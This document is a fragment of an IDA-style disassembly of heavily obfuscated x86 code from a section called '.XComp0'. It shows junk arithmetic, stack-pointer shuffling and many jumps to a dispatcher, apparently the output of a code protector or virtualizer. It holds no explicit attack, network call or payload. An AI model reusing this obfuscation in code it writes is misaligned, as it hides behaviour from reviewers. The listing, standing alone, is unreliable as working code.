		mov	[esp], ebp
		push	edi
		mov	edi, 6FFD561Bh
		mov	ebp, 6FFD561Fh
		xor	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_58FDB6
; ---------------------------------------------------------------------------


loc_5964FE:				; CODE XREF: .XComp0:0058DAC7j
		push	dword ptr [esp]
		pop	edx
		jmp	loc_5890A6
; ---------------------------------------------------------------------------


loc_596507:				; CODE XREF: .XComp0:00595090j
		pop	esp
		jmp	loc_58E09E
; ---------------------------------------------------------------------------


loc_59650D:				; CODE XREF: .XComp0:00591AA9j
		or	edx, eax
		jmp	loc_58C572
; ---------------------------------------------------------------------------


loc_596514:				; CODE XREF: .XComp0:00583DDCj
		add	ebp, 0C7B7994Ah
		add	ebx, ebp
		pop	ebp
		inc	ebx
		xor	ebx, 8924856Fh
		xor	eax, ebx
		pop	ebx
		sub	eax, 1AD86B55h
		add	eax, 779A32BCh
		add	eax, edi
		sub	eax, 779A32BCh
		jmp	loc_590046
; ---------------------------------------------------------------------------


loc_59653D:				; CODE XREF: .XComp0:0059138Bj
		mov	bp, cx
		jmp	loc_593F98
; ---------------------------------------------------------------------------


loc_596545:				; CODE XREF: .XComp0:00589E21j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5957A4
; ---------------------------------------------------------------------------


loc_596550:				; CODE XREF: .XComp0:0058A8EFj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_590E89
; ---------------------------------------------------------------------------


loc_596565:				; CODE XREF: .XComp0:00596E51j
		push	edx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 4
		jmp	loc_59340E
; ---------------------------------------------------------------------------


loc_596574:				; CODE XREF: .XComp0:005869D3j
		mov	ah, 6Dh
		shl	ah, 3
		xor	ah, 0F1h
		push	ebx
		jmp	loc_585834
; ---------------------------------------------------------------------------


loc_596582:				; CODE XREF: .XComp0:0058415Dj
		add	[esp+4], esi
		mov	esi, [esp]
		jmp	loc_5901E5
; ---------------------------------------------------------------------------


loc_59658E:				; CODE XREF: .XComp0:0058A639j
		add	eax, 4
		jmp	loc_5921A4
; ---------------------------------------------------------------------------


loc_596598:				; CODE XREF: .XComp0:005926ECj
		push	dword ptr [esp+4]
		jmp	loc_58D543
; ---------------------------------------------------------------------------


loc_5965A1:				; CODE XREF: .XComp0:00593DC2j
		sub	ecx, esi
		add	ecx, 3AE3098Dh
		jmp	loc_5851FC
; ---------------------------------------------------------------------------


loc_5965AE:				; CODE XREF: .XComp0:00593205j
		add	esp, 4
		sub	esi, edi
		jmp	loc_58EEC4
; ---------------------------------------------------------------------------


loc_5965BB:				; CODE XREF: .XComp0:00590715j
		push	bx
		mov	bh, 0D8h
		sub	al, bh
		jmp	loc_59727E
; ---------------------------------------------------------------------------


loc_5965C6:				; CODE XREF: .XComp0:0058B617j
		pop	edx
		jmp	loc_58B4A6
; ---------------------------------------------------------------------------


loc_5965CC:				; CODE XREF: .XComp0:0058B45Ej
		add	esi, ebp
		pop	ebp
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_596947
; ---------------------------------------------------------------------------


loc_5965F5:				; CODE XREF: .XComp0:00598B6Cj
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_58CFD1
; ---------------------------------------------------------------------------


loc_596607:				; CODE XREF: .XComp0:005985D6j
		push	ebp
		push	0A6215D6h
		pop	ebp
		shr	ebp, 7
		or	ebp, 59E52A19h
		shr	ebp, 5
		push	edi
		mov	edi, 2CFAF75h
		xor	ebp, edi
		jmp	loc_589B2C
; ---------------------------------------------------------------------------


loc_596627:				; CODE XREF: .XComp0:00591EA2j
		mov	eax, 69FA668Fh
		sub	ebx, eax
		pop	eax
		sub	ebx, eax
		add	ebx, 69FA668Fh
		jmp	loc_59213E
; ---------------------------------------------------------------------------


loc_59663C:				; CODE XREF: .XComp0:0058B853j
		mov	eax, esp
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_595C83
; ---------------------------------------------------------------------------


loc_596653:				; CODE XREF: .XComp0:00592336j
		add	ebx, ebp
		pop	ebp
		jmp	loc_58C98B
; ---------------------------------------------------------------------------


loc_59665B:				; CODE XREF: .XComp0:00589102j
		neg	edi
		jmp	loc_596832
; ---------------------------------------------------------------------------


loc_596662:				; CODE XREF: .XComp0:00598E98j
		mov	ecx, 687B0D69h
		add	ebx, 4BBA369Eh
		sub	ebx, ecx
		sub	ebx, 4BBA369Eh
		mov	ecx, [esp]
		jmp	loc_591E9E
; ---------------------------------------------------------------------------


loc_59667D:				; CODE XREF: .XComp0:00585F9Bj
		shl	ebx, 4
		sub	ebx, 0FFFFFFFFh
		push	edi
		mov	edi, 6E6121BEh
		xor	edi, 2A96E41h
		neg	edi
		dec	edi
		add	edi, 2FA20ED8h
		xor	edi, 3F2B4049h
		xor	ebx, edi
		pop	edi
		mov	ecx, ebx
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_58E799
; ---------------------------------------------------------------------------


loc_5966AE:				; CODE XREF: .XComp0:0058A328j
		sub	esp, 4
		mov	[esp], eax
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		xchg	eax, ebx
		push	ecx
		mov	ecx, 1
		add	ebx, ecx
		jmp	loc_585C44
; ---------------------------------------------------------------------------


loc_5966CC:				; CODE XREF: .XComp0:00590F59j
		mov	edx, [esp]
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		push	esi
		mov	esi, 1EA07B22h
		add	esi, 172BC831h
		jmp	loc_5929FF
; ---------------------------------------------------------------------------


loc_5966F7:				; CODE XREF: .XComp0:005968EBj
		sub	ecx, ebp
		pop	ebp
		jmp	loc_58F912
; ---------------------------------------------------------------------------


loc_5966FF:				; CODE XREF: .XComp0:00598F97j
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		and	ebx, edi
		push	dword ptr [esp]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_584267
; ---------------------------------------------------------------------------


loc_596724:				; CODE XREF: .XComp0:0058509Aj
		mov	ecx, [esp]
		add	esp, 4
		dec	ecx
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, 82D1F714h
		sub	ecx, ebx
		pop	ebx
		mov	eax, ecx
		pop	ecx
		add	edx, 20E312C4h
		add	edx, eax
		sub	edx, 20E312C4h
		jmp	loc_588F56
; ---------------------------------------------------------------------------


loc_596752:				; CODE XREF: .XComp0:00583BD0j
		add	eax, 398B417Fh
		push	33Dh
		mov	[esp], edx
		mov	edx, 654253CDh
		sub	edx, 26A34290h
		push	eax
		mov	eax, 6E8D2040h
		sub	edx, eax
		pop	eax
		or	edx, 6EC122F7h
		not	edx
		push	edi
		mov	edi, 63531B5Dh
		shr	edi, 7
		shl	edi, 4
		not	edi
		shr	edi, 4
		add	edi, 4A4EBB59h
		sub	edx, edi
		pop	edi
		sub	edx, 90708C14h
		sub	eax, edx
		pop	edx
		pop	edi
		push	ebp
		push	7B0CE806h
		mov	ebp, [esp]
		add	esp, 4
		xor	eax, ebp
		mov	ebp, [esp]
		push	21DBh
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_588B25
; ---------------------------------------------------------------------------


loc_5967C3:				; CODE XREF: .XComp0:0058C4D9j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_58C9BE
; ---------------------------------------------------------------------------


loc_5967D0:				; CODE XREF: .XComp0:00597743j
		push	edx
		jmp	loc_5944D7
; ---------------------------------------------------------------------------


loc_5967D6:				; CODE XREF: .XComp0:005924B6j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	eax
		mov	ah, 2Ah
		mov	ch, ah
		pop	eax
		shr	ch, 2
		jmp	loc_5867A5
; ---------------------------------------------------------------------------


loc_5967F4:				; CODE XREF: .XComp0:00585479j
		mov	edi, 642321CAh
		xor	edi, ecx
		pop	ecx
		add	edx, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58B66A
; ---------------------------------------------------------------------------


loc_59680D:				; CODE XREF: .XComp0:0058E222j
		pop	esp
		jmp	loc_5948A5
; ---------------------------------------------------------------------------


loc_596813:				; CODE XREF: .XComp0:0058BB3Aj
		push	6CB8h
		mov	[esp], edi
		mov	edi, 63116DEBh
		dec	edi
		jmp	loc_58EE38
; ---------------------------------------------------------------------------


loc_596826:				; CODE XREF: .XComp0:005920F7j
		add	dword ptr [esp], 4
		jmp	loc_587D18
; ---------------------------------------------------------------------------


loc_596832:				; CODE XREF: .XComp0:0059665Dj
		sub	edi, 450B3149h
		xor	edi, 5B853737h
		mov	ebp, edi
		pop	edi
		xor	ebp, 5ED7689Bh
		jmp	loc_58A657
; ---------------------------------------------------------------------------


loc_59684C:				; CODE XREF: .XComp0:0058B06Dj
		push	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_597829
; ---------------------------------------------------------------------------


loc_596864:				; CODE XREF: .XComp0:005942DDj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59688C:				; CODE XREF: .XComp0:005857DBj
		sub	esi, 29330EB6h
		jmp	loc_589194
; ---------------------------------------------------------------------------


loc_596897:				; CODE XREF: .XComp0:00598263j
		mov	ebp, [esp]
		add	esp, 4
		pop	ecx
		push	ebp
		push	esi
		push	17EB44E6h
		pop	esi
		push	ebx
		jmp	loc_590BDD
; ---------------------------------------------------------------------------


loc_5968AF:				; CODE XREF: .XComp0:0058E773j
		mov	[esp], edi
		jmp	loc_5840A9
; ---------------------------------------------------------------------------


loc_5968B7:				; CODE XREF: .XComp0:00584398j
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_589E2E
; ---------------------------------------------------------------------------


loc_5968C8:				; CODE XREF: .XComp0:0058B388j
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_59018B
; ---------------------------------------------------------------------------


loc_5968E1:				; CODE XREF: .XComp0:00586437j
		mov	ebp, 3CAE2089h
		mov	ecx, 0A5D847C1h
		jmp	loc_5966F7
; ---------------------------------------------------------------------------


loc_5968F0:				; CODE XREF: .XComp0:00595AE1j
		add	edx, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	small word ptr [eax]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596913:				; CODE XREF: .XComp0:005892E3j
		add	esp, 4
		jmp	loc_58B59F
; ---------------------------------------------------------------------------


loc_59691B:				; CODE XREF: .XComp0:0058E64Cj
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_59692E:				; CODE XREF: .XComp0:00592B2Cj
		push	24F2h
		jmp	loc_58A4D9
; ---------------------------------------------------------------------------


loc_596938:				; CODE XREF: .XComp0:00584DFAj
		sub	esp, 4
		jmp	loc_594133
; ---------------------------------------------------------------------------


loc_596940:				; CODE XREF: .XComp0:00584690j
		push	ebp
		push	eax
		jmp	loc_592D88
; ---------------------------------------------------------------------------


loc_596947:				; CODE XREF: .XComp0:005965F0j
		mov	[esp], ecx
		push	esp
		push	dword ptr [esp]
		pop	ecx
		push	ebx
		mov	ebx, esp
		push	esi
		jmp	loc_58D188
; ---------------------------------------------------------------------------


loc_596958:				; CODE XREF: .XComp0:0058CE93j
		sub	dword ptr [esp], 0FFFFFFFFh
		pop	edx
		jmp	loc_58ECEF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	13A8h
		jmp	loc_58C08C
; ---------------------------------------------------------------------------


loc_59697B:				; CODE XREF: .XComp0:0058C3CEj
		mov	ah, dh
		not	ah
		mov	dh, ah
		pop	ax
		push	cx
		mov	cl, 25h
		add	dh, cl
		pop	cx
		and	dh, 0E6h
		shr	dh, 6
		xor	dh, 93h
		sub	bl, 8
		sub	bl, dh
		add	bl, 8
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_58D626
; ---------------------------------------------------------------------------


loc_5969C2:				; CODE XREF: .XComp0:005958B1j
		mov	[esp], ebx
		mov	ebx, 233C2ED8h
		shl	ebx, 5
		shl	ebx, 8
		jmp	loc_594DC8
; ---------------------------------------------------------------------------


loc_5969D5:				; CODE XREF: .XComp0:0058B3F7j
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_5969DA:				; CODE XREF: .XComp0:0058ECE3j
		sub	ebp, ebx
		jmp	loc_585C9F
; ---------------------------------------------------------------------------


loc_5969E1:				; CODE XREF: .XComp0:00596D5Cj
		push	eax
		push	esp
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_597E2C
; ---------------------------------------------------------------------------


loc_5969FD:				; CODE XREF: .XComp0:005964A2j
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_592D2E
; ---------------------------------------------------------------------------


loc_596A12:				; CODE XREF: .XComp0:00596BD1j
		pop	esi
		dec	edx
		jmp	loc_58DD50
; ---------------------------------------------------------------------------


loc_596A19:				; CODE XREF: .XComp0:005982ACj
		add	esi, 4
		jmp	loc_5926EB
; ---------------------------------------------------------------------------


loc_596A24:				; CODE XREF: .XComp0:00594B10j
		add	edx, ebp
		pop	ebp
		and	edx, 40CD2CD6h
		shl	edx, 7
		push	6BD3h
		mov	[esp], ebx
		mov	ebx, 0
		jmp	loc_58A3B6
; ---------------------------------------------------------------------------


loc_596A42:				; CODE XREF: .XComp0:00586345j
		xchg	eax, [esp]
		pop	esp
		jmp	loc_58AE71
; ---------------------------------------------------------------------------


loc_596A4B:				; CODE XREF: .XComp0:00589773j
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_58A151
; ---------------------------------------------------------------------------


loc_596A5D:				; CODE XREF: .XComp0:0058BD39j
		pop	edi
		xchg	ebp, edi
		not	ebp
		xchg	ebp, edi
		shr	edi, 2
		push	ecx
		jmp	loc_593E78
; ---------------------------------------------------------------------------


loc_596A6D:				; CODE XREF: .XComp0:0059228Dj
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_58E57A
; ---------------------------------------------------------------------------


loc_596A7C:				; CODE XREF: .XComp0:0058B8F2j
		or	ebp, 47BE6C7Ah
		sub	ebp, 1B62FCAFh
		xor	ebp, 34802D0Ch
		push	ebx
		jmp	loc_588C90
; ---------------------------------------------------------------------------


loc_596A94:				; CODE XREF: .XComp0:0058BE6Cj
		pop	ecx
		sub	al, 0ADh
		add	al, dl
		push	edx
		jmp	loc_58DD56
; ---------------------------------------------------------------------------


loc_596A9F:				; CODE XREF: .XComp0:00583D0Dj
		sub	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5855E5
; ---------------------------------------------------------------------------


loc_596AAC:				; CODE XREF: .XComp0:005960AAj
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596AB7:				; CODE XREF: .XComp0:00589706j
		pop	esi
		jmp	loc_589975
; ---------------------------------------------------------------------------


loc_596ABD:				; CODE XREF: .XComp0:0058B3C0j
		pop	ebp
		neg	ebp
		add	ebp, 68F35BEh
		mov	ecx, ebp
		pop	ebp
		mov	eax, ecx
		pop	ecx
		add	[esp+4], eax
		pop	eax
		pop	ecx
		jmp	loc_598B0C
; ---------------------------------------------------------------------------


loc_596AD7:				; CODE XREF: .XComp0:00595992j
		mov	[esp], eax
		push	28h
		pop	eax
		jmp	loc_586BF4
; ---------------------------------------------------------------------------


loc_596AE5:				; CODE XREF: .XComp0:005876BAj
		mov	ebp, 38F86225h
		or	edi, ebp
		pop	ebp
		push	780h
		jmp	loc_58B463
; ---------------------------------------------------------------------------


loc_596AF7:				; CODE XREF: .XComp0:0058A4E1j
		mov	esi, [esp]
		add	esp, 4
		xor	[esp+4], esi
		push	dword ptr [esp]
		pop	esi
		push	4481h
		jmp	loc_58BA38
; ---------------------------------------------------------------------------


loc_596B12:				; CODE XREF: .XComp0:0058A918j
		push	edx
		jmp	loc_589AD4
; ---------------------------------------------------------------------------


loc_596B18:				; CODE XREF: .XComp0:0058C58Dj
		xor	ecx, esi
		pop	esi
		push	ebp
		mov	ebp, ecx
		mov	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_597D36
; ---------------------------------------------------------------------------


loc_596B2E:				; CODE XREF: .XComp0:005896B7j
		push	ebx
		mov	ebx, 1CBA4B8Dh
		push	eax
		mov	eax, 6224196h
		inc	eax
		xor	eax, 19A47D53h
		jmp	loc_590D6B
; ---------------------------------------------------------------------------


loc_596B45:				; CODE XREF: .XComp0:005904BBj
		push	edi
		mov	edi, 0F63FF533h
		mov	ecx, edi
		pop	edi
		mov	ebp, ecx
		pop	ecx
		jmp	loc_58D935
; ---------------------------------------------------------------------------


loc_596B56:				; CODE XREF: .XComp0:0058B34Ej
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		jmp	loc_5933E6
; ---------------------------------------------------------------------------


loc_596B66:				; CODE XREF: .XComp0:0058A652j
		add	esp, 4
		add	edi, 47AE79D7h
		add	edi, ecx
		sub	edi, 47AE79D7h
		add	edi, 24DE1154h
		pop	ecx
		xor	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5919B3
; ---------------------------------------------------------------------------


loc_596B95:				; CODE XREF: .XComp0:00591A5Bj
		mov	edi, 41B979AEh
		sub	edi, eax
		pop	eax
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_589003
; ---------------------------------------------------------------------------


loc_596BAD:				; CODE XREF: .XComp0:0058E6B5j
		sub	bh, dh
		sub	bh, 25h
		pop	edx
		jmp	loc_595461
; ---------------------------------------------------------------------------


loc_596BB8:				; CODE XREF: .XComp0:0059338Fj
		sub	esp, 4
		jmp	loc_587B52
; ---------------------------------------------------------------------------


loc_596BC3:				; CODE XREF: .XComp0:0058F48Cj
		add	al, cl
		jmp	loc_587285
; ---------------------------------------------------------------------------


loc_596BCA:				; CODE XREF: .XComp0:00586AF7j
		mov	esi, 3957247Ch
		and	edx, esi
		jmp	loc_596A12
; ---------------------------------------------------------------------------


loc_596BD6:				; CODE XREF: .XComp0:005930CFj
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		jmp	loc_5883B5
; ---------------------------------------------------------------------------


loc_596BE6:				; CODE XREF: .XComp0:0058DF9Dj
		push	dword ptr [esp]
		pop	eax
		jmp	loc_587E1B
; ---------------------------------------------------------------------------


loc_596BEF:				; CODE XREF: .XComp0:00591FCFj
		push	0E1Eh
		mov	[esp], esi
		push	45B015A0h
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_592FCF
; ---------------------------------------------------------------------------


loc_596C07:				; CODE XREF: .XComp0:005896C2j
		add	edx, 1F907900h
		add	edx, eax
		sub	edx, 1F907900h
		jmp	loc_5950EC
; ---------------------------------------------------------------------------


loc_596C1A:				; CODE XREF: .XComp0:0058545Cj
		mov	esi, [esp]
		add	esp, 4
		push	0A79h
		mov	[esp], ecx
		jmp	loc_5910C0
; ---------------------------------------------------------------------------


loc_596C2D:				; CODE XREF: .XComp0:00594C46j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0C5C1C4Bh
		shr	eax, 1
		add	eax, 7086FD54h
		sub	edi, eax
		pop	eax
		sub	edi, esi
		push	edx
		mov	edx, 0A337510h
		dec	edx
		inc	edx
		sub	edx, 937E6997h
		add	edi, edx
		pop	edx
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 24A33619h
		jmp	loc_58D94B
; ---------------------------------------------------------------------------


loc_596C69:				; CODE XREF: .XComp0:0058559Aj
		pop	esi
		jmp	loc_586C2B
; ---------------------------------------------------------------------------


loc_596C6F:				; CODE XREF: .XComp0:0058F8C3j
		add	ch, al
		sub	ch, 0D5h
		pop	eax
		jmp	loc_58C4C1
; ---------------------------------------------------------------------------


loc_596C7A:				; CODE XREF: .XComp0:00594AAAj
		push	edi
		mov	edi, 9B4125Eh
		not	edi
		sub	edi, 457025A9h
		sub	edi, 3468BF4Fh
		xor	ebp, edi
		pop	edi
		add	ebp, 0E7D32354h
		mov	edi, ebp
		pop	ebp
		xor	ecx, edi
		pop	edi
		push	eax
		push	edi
		jmp	loc_588476
; ---------------------------------------------------------------------------


loc_596CA4:				; CODE XREF: .XComp0:00587DB5j
		pop	edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_5957FD
; ---------------------------------------------------------------------------


loc_596CB0:				; CODE XREF: .XComp0:0058892Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_58B704
; ---------------------------------------------------------------------------


loc_596CC3:				; CODE XREF: .XComp0:0058E47Cj
		sub	eax, ecx
		pop	ecx
		push	ebp
		mov	ebp, 7DBC6B7Dh
		or	ebp, 623B1B04h
		push	edi
		mov	edi, 4500BC8h
		jmp	loc_585983
; ---------------------------------------------------------------------------


loc_596CDD:				; CODE XREF: .XComp0:00591537j
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		push	edx
		sub	dword ptr [esp], 1FAA7F48h
		pop	ebx
		add	ebx, 1FAA7F48h
		jmp	loc_58FBE4
; ---------------------------------------------------------------------------


loc_596D02:				; CODE XREF: .XComp0:0058A37Fj
		xchg	edi, [esp]
		jmp	loc_5915AE
; ---------------------------------------------------------------------------


loc_596D0A:				; CODE XREF: .XComp0:00596373j
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_588EDC
; ---------------------------------------------------------------------------


loc_596D1E:				; CODE XREF: .XComp0:00592DC5j
		mov	ebx, [esp]
		jmp	loc_58D532
; ---------------------------------------------------------------------------


loc_596D26:				; CODE XREF: .XComp0:00597F3Dj
		pop	edi
		sub	ebx, 58BD2CB9h
		jmp	loc_585A2B
; ---------------------------------------------------------------------------


loc_596D32:				; CODE XREF: .XComp0:00589CB4j
		push	edi
		jmp	loc_58C061
; ---------------------------------------------------------------------------


loc_596D38:				; CODE XREF: .XComp0:0059393Aj
		add	ebx, edi
		pop	edi
		add	ebx, edx
		push	2595h
		jmp	loc_5928E5
; ---------------------------------------------------------------------------


loc_596D47:				; CODE XREF: .XComp0:00598E31j
		add	ecx, 67E35A29h
		add	ecx, 0EB34F1DBh
		jmp	loc_593CF3
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5969E1
; ---------------------------------------------------------------------------


loc_596D61:				; CODE XREF: .XComp0:00584EA5j
		push	small 0
		jmp	loc_58E4A5
; ---------------------------------------------------------------------------


loc_596D6A:				; CODE XREF: .XComp0:00590C85j
		xchg	ebx, ecx
		push	ebx
		mov	ebx, 0F563BB75h
		xor	ecx, ebx
		pop	ebx
		jmp	loc_5860FA
; ---------------------------------------------------------------------------


loc_596D7A:				; CODE XREF: .XComp0:00597660j
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_592CE7
; ---------------------------------------------------------------------------


loc_596D87:				; CODE XREF: .XComp0:005957D4j
		not	edx
		push	edx
		jmp	loc_595B84
; ---------------------------------------------------------------------------


loc_596D8F:				; CODE XREF: .XComp0:00585C45j
		sub	ebx, 1
		push	edx
		push	esi
		mov	esi, 73F731C1h
		mov	edx, 8C08CE40h
		add	edx, 5DAB3088h
		jmp	loc_5918D7
; ---------------------------------------------------------------------------


loc_596DAC:				; CODE XREF: .XComp0:005923CCj
		push	6826h
		mov	[esp], esi
		push	3FCh
		mov	esi, [esp]
		add	esp, 4
		push	5397h
		mov	[esp], ebp
		mov	ebp, 0FC26655h
		add	edi, 82673F6h
		add	edi, ebp
		sub	edi, 82673F6h
		pop	ebp
		jmp	loc_595913
; ---------------------------------------------------------------------------


loc_596DE3:				; CODE XREF: .XComp0:00586B89j
		sub	esi, edx
		pop	edx
		add	esi, 5A520DE9h
		push	ebp
		mov	ebp, 106C5279h
		sub	ebp, 8D109B7h
		xor	esi, ebp
		pop	ebp
		push	61Dh
		mov	[esp], eax
		push	edx
		mov	edx, 461E668Ch
		jmp	loc_585116
; ---------------------------------------------------------------------------


loc_596E0E:				; CODE XREF: .XComp0:00592D9Dj
		push	edi
		mov	edi, 7E4866CFh
		add	edi, 1B867289h
		sub	edi, 4F0E5AB4h
		xor	ebp, edi
		pop	edi
		neg	ebp
		shl	ebp, 8
		xor	ebp, 629631Eh
		sub	ebp, 8979B2B3h
		push	edx
		jmp	loc_594D5C
; ---------------------------------------------------------------------------


loc_596E3A:				; CODE XREF: .XComp0:00586D0Cj
		mov	ebp, [esp]
		add	esp, 4
		dec	edx
		push	ebx
		mov	ebx, 34349Dh
		sub	edx, ebx
		jmp	loc_586B8E
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		jmp	loc_596565
; ---------------------------------------------------------------------------


loc_596E56:				; CODE XREF: .XComp0:0058EAB6j
		xchg	esi, [esp]
		jmp	loc_5908EB
; ---------------------------------------------------------------------------


loc_596E5E:				; CODE XREF: .XComp0:0059786Ej
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_585BC6
; ---------------------------------------------------------------------------


loc_596E6C:				; CODE XREF: .XComp0:0058D9E6j
		add	esp, 4
		sub	eax, 6B640356h
		not	eax
		push	ecx
		jmp	loc_586FCE
; ---------------------------------------------------------------------------


loc_596E7C:				; CODE XREF: .XComp0:005956EBj
		mov	esi, 8D1A736Fh
		jmp	loc_593F89
; ---------------------------------------------------------------------------


loc_596E86:				; CODE XREF: .XComp0:0058FDB1j
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	ebx
		mov	ebx, 5EF52BAAh
		dec	ebx
		sub	ebx, 66A23AD0h
		jmp	loc_58BE99
; ---------------------------------------------------------------------------
		push	small word ptr [edx]
		jmp	loc_583A60
; ---------------------------------------------------------------------------


loc_596EA5:				; CODE XREF: .XComp0:0058E78Dj
		add	ebx, edi
		pop	edi
		jmp	loc_583FE0
; ---------------------------------------------------------------------------


loc_596EAD:				; CODE XREF: .XComp0:0059473Aj
		add	ebp, eax
		sub	ebp, 197A0DE9h
		pop	eax
		jmp	loc_598431
; ---------------------------------------------------------------------------


loc_596EBB:				; CODE XREF: .XComp0:00584007j
		neg	edi
		sub	edi, 7B312380h
		jmp	loc_59116C
; ---------------------------------------------------------------------------


loc_596EC8:				; CODE XREF: .XComp0:00584925j
		neg	ebx
		shr	ebx, 5
		add	ebx, 0FB61121Ah
		jmp	loc_586BCA
; ---------------------------------------------------------------------------


loc_596ED8:				; CODE XREF: .XComp0:0058DE92j
		or	ebx, 34506809h
		dec	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 6EA14C31h
		xor	ecx, 35ED4339h
		add	ecx, 0FFFFFFFFh
		jmp	loc_58FE77
; ---------------------------------------------------------------------------


loc_596EFE:				; CODE XREF: .XComp0:00591CC3j
		and	ecx, eax
		jmp	loc_58D385
; ---------------------------------------------------------------------------


loc_596F05:				; CODE XREF: .XComp0:00591418j
		sub	ecx, 460A5D6Eh
		add	ecx, 50AA65CDh
		add	ecx, edi
		jmp	loc_58DACC
; ---------------------------------------------------------------------------


loc_596F18:				; CODE XREF: .XComp0:00588D89j
		add	dx, 7FC5h
		mov	di, [esp]
		jmp	loc_58807F
; ---------------------------------------------------------------------------


loc_596F26:				; CODE XREF: .XComp0:00584623j
		mov	esp, [esp]
		push	7B42h
		mov	[esp], ebx
		jmp	loc_590340
; ---------------------------------------------------------------------------


loc_596F36:				; CODE XREF: .XComp0:0058537Aj
		mov	[esp], ebx
		jmp	loc_585305
; ---------------------------------------------------------------------------


loc_596F3E:				; CODE XREF: .XComp0:0058FAE2j
		pop	esp
		jmp	loc_58F570
; ---------------------------------------------------------------------------


loc_596F44:				; CODE XREF: .XComp0:0058CF59j
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		mov	esi, 316B6700h
		mov	ebx, esi
		pop	esi
		or	edx, ebx
		jmp	loc_58E826
; ---------------------------------------------------------------------------


loc_596F5D:				; CODE XREF: .XComp0:0059225Ej
		shr	edx, 2
		push	57AAh
		mov	[esp], esi
		push	276h
		mov	[esp], ecx
		mov	ecx, 6CA74F27h
		jmp	loc_591B15
; ---------------------------------------------------------------------------


